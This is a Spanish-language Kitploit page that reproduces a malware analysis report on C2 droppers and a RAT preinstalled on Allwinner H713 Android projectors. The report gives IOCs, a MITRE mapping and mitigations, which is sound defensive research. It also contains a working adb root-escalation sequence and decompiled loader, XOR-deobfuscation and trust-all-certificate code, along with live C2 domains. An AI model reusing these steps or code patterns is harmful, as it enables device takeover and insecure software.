Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Android-Projector-C2-Malware — Desglose de un c2-network de beamers chinos - SilentSDK-Analysis | Kitploit
Herramientas/GitHubGitHub/kavan00/android-projector-c2-malware
Seguridad AndroidSeguridad de Sistemas EmbebidosGestión de Indicadores de Compromiso (IOC)Seguridad IoTForensia de RedIngeniería InversaAnálisis de MalwareForensia DigitalComando y Control

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Inteligencia de Amenazas
Seguridad de Cadena de Suministro
Análisis de Firmware
GitHubkavan00/android-projector-c2-malware

Android-Projector-C2-Malware

Desglose de un c2-network de beamers chinos - SilentSDK-Analysis

Ver Repositorio
182hace 4 mesesAún no revisado

Infraestructura C2 Preinstalada y Payload RAT en Proyectores Android

Informe de Análisis Técnico — Investigación de Seguridad


Dispositivos Afectados: Múltiples proyectores Android de marcas como Nonete (p. ej., modelo HY260Pro) (probablemente también varios proyectores de Magcubic, Hotack, Huyukang y muchos más, ya que estas empresas distribuyen modelos similares y hay indicios que lo respaldan)
Plataforma de Chipset: Allwinner H713 / sun50iw12p1 — potencialmente afecta a todos los dispositivos en esta plataforma
Período de Análisis: 11–17 de abril de 2026
Clasificación: Infraestructura de Comando y Control preinstalada con payload de Troyano de Acceso Remoto


TL;DR

  • El Problema: Numerosos proyectores Android baratos (potencialmente marcas como Magcubic, Hotack, etc., que utilizan el chip Allwinner H713), actualmente vendidos en grandes cantidades en Amazon, eBay y AliExpress, están infectados con malware directamente desde la fábrica (Ataque a la Cadena de Suministro, similar a los casos "BADBOX").
  • El Mecanismo: Una aplicación del sistema aparentemente inofensiva ("StoreOS") actúa como un dropper disfrazado. Descarga silenciosamente un Dropper de Etapa 2 llamado "SilentSDK" en segundo plano y lo instala con privilegios máximos del sistema, que a su vez instala un framework RAT modular, basado en plugins y consciente de la arquitectura, y posiblemente un framework de phishing.
  • El Peligro: El malware establece una conexión C2 con China (api.pixelpioneerss.com), extrae IDs de dispositivo sensibles y puede descargar y ejecutar código malicioso adicional arbitrario con privilegios de root en cualquier momento (chmod 777). Además, los dispositivos presentan puertas traseras de root abiertas.
  • Mitigación Inmediata: Los dominios C2 (especialmente *.aodintech.com, api.pixelpioneerss.com, sta.smartinnovate.net) deben bloquearse a nivel de red. Los usuarios afectados solo pueden deshabilitar las aplicaciones maliciosas manualmente mediante ADB, ya que están profundamente incrustadas en el sistema.

Aviso de Urgencia

La infraestructura de malware documentada en este informe está preinstalada en proyectores Android que se venden actualmente en grandes cantidades a consumidores finales en Amazon, eBay y AliExpress. Los dispositivos afectados abarcan posiblemente múltiples nombres de marca (Hotack, Huyukang, Magcubic, Nonete, entre otros). Se ha confirmado de forma independiente una infraestructura C2 idéntica en otros dispositivos del mismo fabricante (ver Sección 13). El patrón coincide con los casos BADBOX.


Tabla de Contenidos

  1. Identificación del Dispositivo
  2. Flujo de Trabajo de la Investigación
  3. Acceso Root — Ruta de Explotación
  4. Respuesta del Servidor C2 — Evidencia Central
  5. Visión General del Ecosistema del Malware
  6. StoreOS — Análisis del Dropper (com.htc.storeos)
  7. EventUploadService — Telemetría (com.htc.eventuploadservice)
  8. ExpandSDK — Inyección de Anuncios (com.htc.expandsdk)
  9. SilentSDK — Análisis del Dropper de Etapa 2 (com.hotack.silentsdk)
  10. El Malware
  11. Puertas Traseras del Sistema
  12. Forense de Red
  13. Suplantación del Dispositivo (Suplantación de Build Fingerprint)
  14. Confirmación Externa
  15. Indicadores de Compromiso (IOCs)
  16. Mapeo MITRE ATT&CK
  17. Mitigaciones Inmediatas
  18. Fuentes

Dispositivo Comprado: Enlace de Amazon - Nonete Mini Beamer 4K 1080P


1. Identificación del Dispositivo

Nota sobre el alcance: El chipset Allwinner H713 está incorporado en numerosos proyectores Android baratos vendidos bajo nombres de marca cambiantes en el mercado europeo. La misma base de firmware (h713_tuna_p3) y el mismo operador C2 (Shenzhen Aodin Technology) sugieren fuertemente que todos los dispositivos de este OEM contienen la misma infraestructura.


2. Flujo de Trabajo de la Investigación


3. Acceso Root — Ruta de Explotación

El acceso root se logró mediante una combinación de tres vulnerabilidades:

  1. SELinux Permisivo — Las violaciones de acceso solo se registran, no se bloquean.
  2. /oem escribible por cualquier usuario — La partición está montada como FAT con fmask=0000.
  3. customer.prop cargado al arrancar — Sobrescribe propiedades del sistema.```bash adb shell getenforce # Result: Permissive adb shell ls -la /oem/ # All files world-writable

adb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'

adb reboot && adb wait-for-device && adb root adb shell id

uid=0(root) gid=0(root) context=u:r:su:s0

root@kitploit:~
**Impacto:** Cualquier usuario con acceso físico o un atacante en la misma red (a través de ADB, puerto 5555 abierto, sin autenticación) obtiene acceso completo como root.

---

## 4. Respuesta del Servidor C2 — Evidencia Principal

### Solicitud HTTP Capturada```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

Respuesta del servidor (Decodificada desde pcapng - Tabla)

La respuesta comprimida con gzip contiene una lista JSON con siete aplicaciones. Seis de ellas son aplicaciones de streaming normales (YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere). La séptima es SilentTools:

Configuración de SilentTools en detalle```json

{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }

root@kitploit:~
**Interpretación de los flags:**

- `isShow: false` — La aplicación no aparece en la interfaz de la tienda.
- `isForce: true` — Presumiblemente fuerza la acción (instalación o actualización).
- `isSilentUninstall: true` — Puede desinstalarse sin interacción del usuario.
- `launchType: 1` — Inicia automáticamente el servicio en segundo plano.
- `launchParam: MyService` — Referencia al servicio persistente.
- `zone: "Global"` — Apunta a todos los dispositivos a nivel mundial.
- `reverseLen` — Longitud en bytes necesaria para restaurar el `.apk` de SilentSDK.

### Ruta de Descarga Cifrada

El campo `path` está cifrado con AES-CBC:

- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> El ChannelID del dispositivo.
- **Resultado descifrado:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

Nota: Es probable que la extensión de archivo .bpp se utilice para eludir los cortafuegos, renombrándose el archivo a .apk durante la ejecución. El campo isSilentInstall es false en esta captura. La semántica exacta de isForce: true no pudo reconstruirse sin ambigüedad a partir del código descompilado. No se puede descartar que el valor se establezca dinámicamente a true desde el servidor.


5. Resumen del Ecosistema de Malware

El dispositivo contiene cuatro aplicaciones de sistema que interactúan, todas firmadas con la clave de prueba de AOSP y ejecutándose con UID 1000 (System):```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com

root@kitploit:~
   + ExpandSDK (Ad-Injection)
     → pb-api.aodintech.com
root@kitploit:~
---

## 6. StoreOS — Análisis del Dropper

StoreOS parece ser una tienda de aplicaciones que se instala automáticamente; sin embargo, cumple la función de un dropper.  
**Package:** `com.htc.storeos`  
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`

### Permisos

| Permiso | Impacto |
|:---|:---|
| `INSTALL_PACKAGES` | Instalación silenciosa sin diálogo de usuario |
| `CLEAR_APP_USER_DATA` | Eliminación de datos arbitrarios de la aplicación |
| `MASTER_CLEAR` | Activación de restablecimiento de fábrica |
| `WRITE_SECURE_SETTINGS` | Modificación de ajustes de seguridad |
| `DEVICE_POWER` | Gestión de energía del dispositivo |
| `MANAGE_EXTERNAL_STORAGE` | Acceso completo al almacenamiento externo |

### Cadena de Instalación (desde código descompilado)

1. **BootReceiver** inicia `CheckUpdateService`.
2. HTTP POST a `store-api.aodintech.com/sign/app/list`.
3. El servidor entrega `AppsData[]` que contiene los campos: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. `DownloadService` obtiene APKs como archivos `.bpp` desde la CDN.
5. **Protección de Inversión de Bytes:** Los primeros `reverseLen` bytes se invierten antes de escribir en el disco (Medida Anti-Análisis).
6. Verificación MD5 del archivo descargado.
7. Instalación mediante `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. `StartAppService` lanza la aplicación instalada según `launchParam`.

### Mecanismo de Inversión de Bytes — Prueba Técnica

**Clase:** `AbstractC2057b` — **Método:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

Este método invierte los primeros `reverseLen` bytes de cada APK descargado. Como resultado, los archivos `.bpp` interceptados no pueden ser reconocidos ni extraídos como APKs válidos sin conocer el valor específico de `reverseLen`.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

Invocación en la ruta de descarga (Class RunnableC1595d, case 0):```java if (downInfo.getReverseLen() != 0) { String outputPath = inputPath.replace(".apk", "des.apk"); if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) { // Error handling return; } downInfo.setFileSavePath(outputPath); } // Followed by MD5 verification and installation

root@kitploit:~
Al revertir este mecanismo, el APK de SilentSDK fue descifrado y analizado con éxito.

### Geosegmentación

StoreOS utiliza `api.ipdatacloud.com/v2/query` para geolocalización IP. La clase `SpecialApps` contiene campos para `continent` y `countryCode`, lo que permite la distribución de cargas útiles específicas por región.

---

## 7. EventUploadService — Telemetría

**Paquete:** `com.htc.eventuploadservice`  
**Destino:** `http://event-api.aodintech.com/report`  
**Intervalo:** Cada 5 minutos  

| Campo | Valor de ejemplo | Impacto en la privacidad |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | Dirección MAC (PII) |
| `deviceSn` | `[REDACTED]` | Número de serie (Único) |
| `channel` | `HY260Pro_hy_TPYB` | Canal de firmware |
| `version` | `Projector.20250422.152235` | Versión de firmware |
| `model` | `NT10` | Modelo de dispositivo |
| `language` | `en_US` | Configuración de idioma |

La transmisión ocurre sin cifrar a través de HTTP y sin consentimiento del usuario. La dirección MAC y el número de serie permiten la identificación y el seguimiento precisos de dispositivos individuales.

---

## 8. ExpandSDK — Inyección de anuncios

**Paquete:** `com.htc.expandsdk`  
**Servidores C2:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`

ExpandSDK utiliza el SDK TCL VastAd para anuncios de video VAST y es capaz de mostrar diálogos de superposición del sistema (`SYSTEM_ALERT_WINDOW`) en cualquier posición de la pantalla. La configuración incluye campos de posición (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) y el identificador de socio `htk` (Hotack).

ExpandSDK opera independientemente de SilentSDK como un canal de monetización separado.

---

## 9. SilentSDK — Análisis de RAT

**Paquete:** `com.hotack.silentsdk`  
**SHA-256 (descifrado):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5 (descifrado):** `5df097591d6942bae4eff33a37c4e28f`

### Análisis del manifiesto

| Propiedad | Valor | Significado |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | Privilegios del sistema (UID 1000) |
| `usesCleartextTraffic` | `true` | Tráfico HTTP permitido |
| Icono del lanzador | No visible para el usuario | Oculto de la interfaz de usuario |
| `BootReceiver` | Prioridad 999 | Se inicia antes que casi todas las demás aplicaciones |
| `MyService` | exportado, en primer plano | Servicio persistente en segundo plano |
| `BootStartActivity` | `com.htc.bootstart` | Disparador de arranque adicional |

### Empaquetado y descifrado DEX

El DEX original está empaquetado: El encabezado declara 2,318,316 bytes, pero el archivo comprimido solo contiene 65,536 bytes con una suma de verificación Adler32 inválida. Después de romper la protección de inversión de bytes de StoreOS, el DEX se vuelve completamente legible — el tamaño del archivo y el tamaño declarado coinciden, y se pueden extraer 16,241 cadenas.

### Ofuscación XOR — Prueba técnica

Todas las cadenas relevantes para la seguridad están ofuscadas mediante un cifrado XOR rotativo dentro del método `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

Cadenas Descifradas

Esto representa solo una parte de las cadenas descifradas. El flujo de recolección de MAC revela una evasión deliberada de permisos: cuando WifiInfo.getMacAddress() devuelve la MAC falsa protegida por privacidad de Android (02:00:00:00:00:00), el malware recurre a leer la MAC de hardware real directamente desde /sys/class/net/wlan0/address mediante shell root — un comportamiento nunca visto en aplicaciones legítimas.

Ciclo de Infección — Fase por Fase

El siguiente análisis traza la cadena de ejecución completa desde el inicio de la aplicación hasta el control persistente del C2. Los nombres de clase hacen referencia a identificadores desofuscados por JADX.

Fase 1: Inicialización y Anclaje

MyApplication.java — Punto de Entrada

La anulación de Application.onCreate() es el primer código en ejecutarse. Inmediatamente llama a C0561f.m1737c con el ApplicationContext, iniciando toda la maquinaria del malware antes de que se renderice cualquier interfaz de usuario.

AbstractC0577v.java — Contexto

Si la aplicación anfitriona no proporciona voluntariamente su contexto, esta clase utiliza reflexión profunda del sistema (android.app.ActivityThread) para robar de forma autónoma el ApplicationContext global. Esto otorga al SDK acceso completo a archivos, servicios del sistema y gestión de paquetes sin depender de la aplicación anfitriona.

C0578w.java — Observador del Ciclo de Vida de Actividades

Se registra como ActivityLifecycleCallbacks para monitorear cada interacción del usuario: qué pantalla está abierta, si la aplicación está en primer plano o en segundo plano. Críticamente, vuelve a habilitar las animaciones del sistema desactivadas y manipula la configuración de SoftInputMode — requisitos previos para renderizar superposiciones invisibles (por ejemplo, para fraude de clics) sin alertar al usuario a través de ventanas emergentes de teclado inesperadas.

Fase 2: Huella Digital y Sigilo

AbstractC0562g.java — Generación de ID de Bot

Genera una huella digital agresiva del dispositivo concatenando: UUID aleatorio + Build.BRAND + Build.MODEL + dirección MAC física (recolectada mediante cat /sys/class/net/wlan0/address, evadiendo las protecciones de privacidad de Android) + android_id + marca de tiempo. La cadena resultante se hashea con MD5 y se almacena como adid — el ID de Bot permanente utilizado para registrar el dispositivo con el servidor C2.

C0565j.java — Bypass de Certificado SSL

Un X509TrustManager manipulado con métodos de validación completamente vacíos (checkClientTrusted, checkServerTrusted). Esto asegura que el malware acepte ciegamente cualquier certificado SSL, evitando que los mecanismos de seguridad de Android bloqueen la comunicación C2 — incluso si el servidor C2 está comprometido o usa un certificado inválido.```java // From AbstractC0000a.m41j() — TrustManager accepts ALL certificates TrustManager[] trustManagerArr = {new C0565j()}; SSLContext sslContext = SSLContext.getInstance("SSL"); sslContext.init(null, trustManagerArr, new SecureRandom()); ((HttpsURLConnection) conn).setSSLSocketFactory( sslContext.getSocketFactory() );

root@kitploit:~
Si ocurre un error SSL (`SSLException`), `f2664e` se establece en `false` y todas las solicitudes posteriores utilizan HTTP en lugar de HTTPS.




#### Fase 3: Adquisición del Payload
 
**`C0566k.java` — Respaldo sin conexión (Payload embebido)**
 
Antes de contactar con la red, esta clase verifica si ya hay un payload empaquetado dentro del APK en `assets/m17gawxG.java`. Si se encuentra, lee el archivo byte a byte y lo descifra usando una clave XOR hardcodeada (`m17gawxG`). El resultado se escribe como un archivo ejecutable `.temp`. Esto asegura que el RAT pueda activarse incluso en dispositivos aislados (air-gapped) o cuando el servidor C2 no esté disponible.
 
**`RunnableC0569n.java` — Descargador en vivo desde C2**
 
Si el respaldo sin conexión falla, esta clase ensambla un beacon JSON que contiene el Bot-ID, nombre del paquete y versión de Android, luego contacta al endpoint C2 `api.pixelpioneerss.com`:
 
**Paso 1 — Generación de URL con ruta aleatoria:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

Paso 2 — Carga útil de Beacon:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version

root@kitploit:~
**Paso 3 — Cifrado AES y Transmisión:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

Paso 4 — Procesamiento de la respuesta del servidor:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes

root@kitploit:~
El descargador (`AbstractC0000a.m37h`) obtiene el payload y luego utiliza un shell root para otorgarle permisos completos de ejecución mediante `chmod 777`.
 
Todas las solicitudes C2 llevan el encabezado HTTP personalizado `a: 1003` — una firma a nivel de red de esta familia de malware.

#### Fase 4: Ejecución y Control
 
**`AbstractC0568m.java` — Área de Preparación**
 
Crea un directorio oculto llamado **`TMRXwWJu3G5`** en el sistema de archivos del dispositivo donde se preparan todos los payloads descargados. Esta clase también contiene métodos (`m1754e`) que interceptan eventos físicos de teclas (`KeyEvent`), impidiendo que el usuario presione el botón "Atrás" mientras una superposición maliciosa está activa.
 
**`C0561f.java` — El Orquestador**
 
Une toda la cadena. Llama al código fuertemente ofuscado en `C0566k.m1746b`, que utiliza reflexión para construir la cadena `"dalvik.system.DexClassLoader"` e inicializarla. Luego, se fuerza al ClassLoader a cargar y ejecutar la clase final del payload:```
com.me.cash5.OoO0OOo

A partir de este punto, la carga útil cargada dinámicamente tiene control total dentro del contexto del proceso de la aplicación (UID 1000 / System).

Phase 5: Telemetry, Exfiltration, and Persistence

AbstractC0563h.java & C0558c.java — Telemetry Collection

Cada carga de módulo, evento de error (p. ej., fallo de descarga) o visualización de superposición desencadena un informe de estado (codificado como "e6", "e4" para errores SSL, etc.). C0558c ejecuta un hilo de recolección dedicado ("burying_loop_s") que agrupa estos eventos. Cada 5 segundos, ensambla un paquete JSON de telemetría completo con campos como "d" (modelo del dispositivo), "e" (versión del SDK), "c" (ID de Android).

RunnableC0564i.java — Data Exfiltrator

Toma el JSON de telemetría, lo comprime con GZIPOutputStream (para dificultar el análisis de tráfico), luego lo cifra con AES personalizado — añadiendo las claves dinámicas al texto cifrado. El paquete GZIP-AES resultante se transmite a través del TrustManager que omite SSL a un servidor de seguimiento dedicado:``` bur.thedynamicleap.com

root@kitploit:~
Este es un **dominio C2 separado** del primario `api.pixelpioneerss.com`, utilizado exclusivamente para la exfiltración de telemetría.
 
**`AbstractC0572q.java` & `RunnableC0560e.java` — Heartbeat y Autocuración**
 
El mecanismo de persistencia. `AbstractC0572q` mantiene un temporizador en el hilo principal. Si alguna parte de la cadena de infección falla (por ejemplo, falta de internet durante la descarga), dispara `sendEmptyMessageDelayed(..., 60000L)`. Después de exactamente 60 segundos, `RunnableC0560e` (como trabajador en segundo plano) reinicia toda la maquinaria de infección desde el principio. Este bucle se repite indefinidamente hasta que la infección tiene éxito.
 
### Persistencia y Carga Dinámica — Resumen
 
El método `m1762a()` en `RunnableC0569n` implementa el ciclo completo de descarga del payload:
 
1. Descargar archivo DEX desde C2.
2. Verificar hash MD5.
3. Guardar número de versión en SharedPreferences.
4. Cargar y ejecutar DEX mediante `DexClassLoader` o `Runtime.exec()`.
5. Ante errores: Incrementar contador de reintentos en SharedPreferences, pausa después de 13 intentos fallidos — luego el heartbeat de 60 segundos reinicia el ciclo.


## 9.1. El Payload del Malware

Después de enviar esta solicitud al Servidor C2:```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

Respuesta:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }

root@kitploit:~
---
## 10. El Malware

Tras la recuperación exitosa y el análisis adicional del payload, determiné —después de sortear capas significativas de cifrado y ofuscación personalizados— que el malware utiliza una arquitectura altamente modular. Opera como un framework sofisticado capaz de descargar, actualizar, reiniciar y eliminar activamente plugins para destruir evidencia forense. Estos payloads se ejecutan con privilegios de root. Además, el código revela mecanismos diseñados para superponer WebViews completas en la pantalla, lo que indica fuertemente capacidades avanzadas de phishing. El malware también demuestra tácticas avanzadas de segmentación y evasión: implementa geofencing estricto para atacar regiones específicas, perfila la arquitectura de la CPU (distinguiendo entre `arm64`, `armeabi`, `x86` y `mips`), y elude activamente la validación de certificados SSL para asegurar sus comunicaciones C2. Por ahora, mantengo este resumen intencionalmente breve, ya que la fuerte ofuscación requiere un proceso de ingeniería inversa prolongado y en curso.

## 11. Backdoors del Sistema

### 11.1 Binario `su` Oculto: `/system/bin/qw`

Un binario `su` renombrado como `qw` (Koushikdutta Superuser, 388 KB, enlazado estáticamente, ARM 32 bits):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core
  • Proceso: PID 2409, UID 0 (root)
  • Socket: /dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)
  • Puerto TCP: 65528 (UID 0)

11.2 Clave de Prueba de AOSP como Clave de Firma de Plataforma

El certificado de firma de plataforma es la clave de prueba incluida públicamente en el código fuente de AOSP (Cert Index 0 en packages.xml). Cualquier aplicación firmada con esta clave recibe automáticamente privilegios de sistema en el dispositivo. La clave es de libre acceso para cualquier desarrollador de Android.

11.3 Servicios Adicionales Abiertos

10.4 dbgserver

/vendor/bin/dbgserver — Servidor de E/S de registros de hardware, que se comunica a través del dispositivo /dev/hidtvreg (crwxrwxrwx) con permisos de escritura mundial.


12. Análisis Forense de Red

Toda la comunicación C2 se realiza a través de HTTP sin cifrar. Esto permite ataques MITM (Man-In-The-Middle): un atacante en la misma red puede manipular la lista de aplicaciones e inyectar APKs arbitrarias, que luego se instalarán con privilegios de sistema.


13. Suplantación de Dispositivo

El dispositivo se hace pasar por el ADT-3 de Google (Android TV Developer Kit):

Propiedad

Esta suplantación probablemente tiene como objetivo eludir las comprobaciones de certificación de Google Play.


14. Confirmación Externa

Análisis Independiente

En enero de 2026, el investigador de seguridad Zane St. John publicó un análisis de dispositivos idénticos que albergaban exactamente la misma infraestructura de malware. Las conclusiones coinciden en todos los puntos cruciales: endpoints C2, ofuscación XOR, protocolo AES-128-CBC, ID de Campaña f101, bypass SSL y chmod 777. El dispositivo analizado por Zane St. John parece haber estado ya infectado por SilentSDK, lo que no era el caso en mi dispositivo de fábrica. Los endpoints en el análisis de Zane St. John también parecen ligeramente alterados, lo que indica la posibilidad de rotación de endpoints. Además, en su caso, SilentSDK parece estar preinstalado, mientras que en mi dispositivo se descarga e instala una vez que aodintech envía la señal de activación.

Fuente: https://zanestjohn.com/blog/reing-with-claude-code

Verificación de Hash en Tres Fuentes Independientes

FuenteMD5

Los hashes de la distribución del servidor C2, nuestra propia desencriptación y el análisis externo son idénticos, lo que confirma que es el mismo malware. Esto confirma la amplia difusión del malware.

VirusTotal

StoreOS-APK: BitDefender detecta Android.Riskware.TestKey.rB; ningún otro motor antivirus activa una alerta.


15. Indicadores de Compromiso (IOCs)

Dominios```text

api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server

root@kitploit:~
### Firmas de Red```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

Paquetes y Hashes```text

com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk

root@kitploit:~
### Sistema de archivos```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

Artefactos específicos de SilentSDK```text

assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload

root@kitploit:~
---

## 16. Mapeo MITRE ATT&CK

| Técnica | ID | Evidencia |
|:---|:---|:---|
| Compromiso de la Cadena de Suministro | T1195.002 | Malware preinstalado de fábrica |
| Ejecución Automática al Inicio o Inicio de Sesión | T1547 | BootReceiver Prioridad 999 |
| Archivos o Información Ofuscados | T1027 | Cadenas XOR, Empaquetado DEX, activo cifrado con XOR incrustado |
| Protocolo de Capa de Aplicación | T1071 | C2 HTTP/HTTPS |
| Intercambio Dinámico de Datos / Inyección de Carga Útil | T1055 | DexClassLoader, chmod 777 |
| Descubrimiento de Información del Sistema | T1082 | Huella digital del dispositivo, generación de ID de Bot |
| Datos del Sistema Local | T1005 | MAC, Serial, IMEI, android_id |
| Exfiltración a través del Canal C2 | T1041 | Telemetría periódica a `bur.thedynamicleap.com` |
| Suplantación de Identidad | T1036 | Extensión de archivo .bpp, Suplantación ADT-3 |
| Rootkit | T1014 | Binario su oculto |
| Captura de Entrada | T1056 | Intercepción de KeyEvent para suprimir el botón Atrás |
| Eliminación de Indicadores / Autoborrado | T1070 | Capacidad `isSilentUninstall: true` |
| Carga de Código Reflejada | T1620 | Instanciación reflejada de DexClassLoader |
| Superposición de Ventanas del Sistema | T1624 | Manipulación de SoftInputMode para superposiciones invisibles |

---

## 17. Mitigaciones Inmediatas

### Para Usuarios Finales Afectados```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

Bloqueo a nivel de red```text

DNS blocking or firewall rules for:

store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com

root@kitploit:~
---

## 18. Fuentes

1. Zane St. John: "Ingeniería inversa de malware Android preinstalado con Claude Code", enero de 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: "BSI advierte sobre malware preinstalado en dispositivos IoT" (BADBOX), octubre de 2023.
3. Análisis de VirusTotal del APK StoreOS.

---

**Período de análisis:** 11–17 de abril de 2026

**Descargo de responsabilidad**
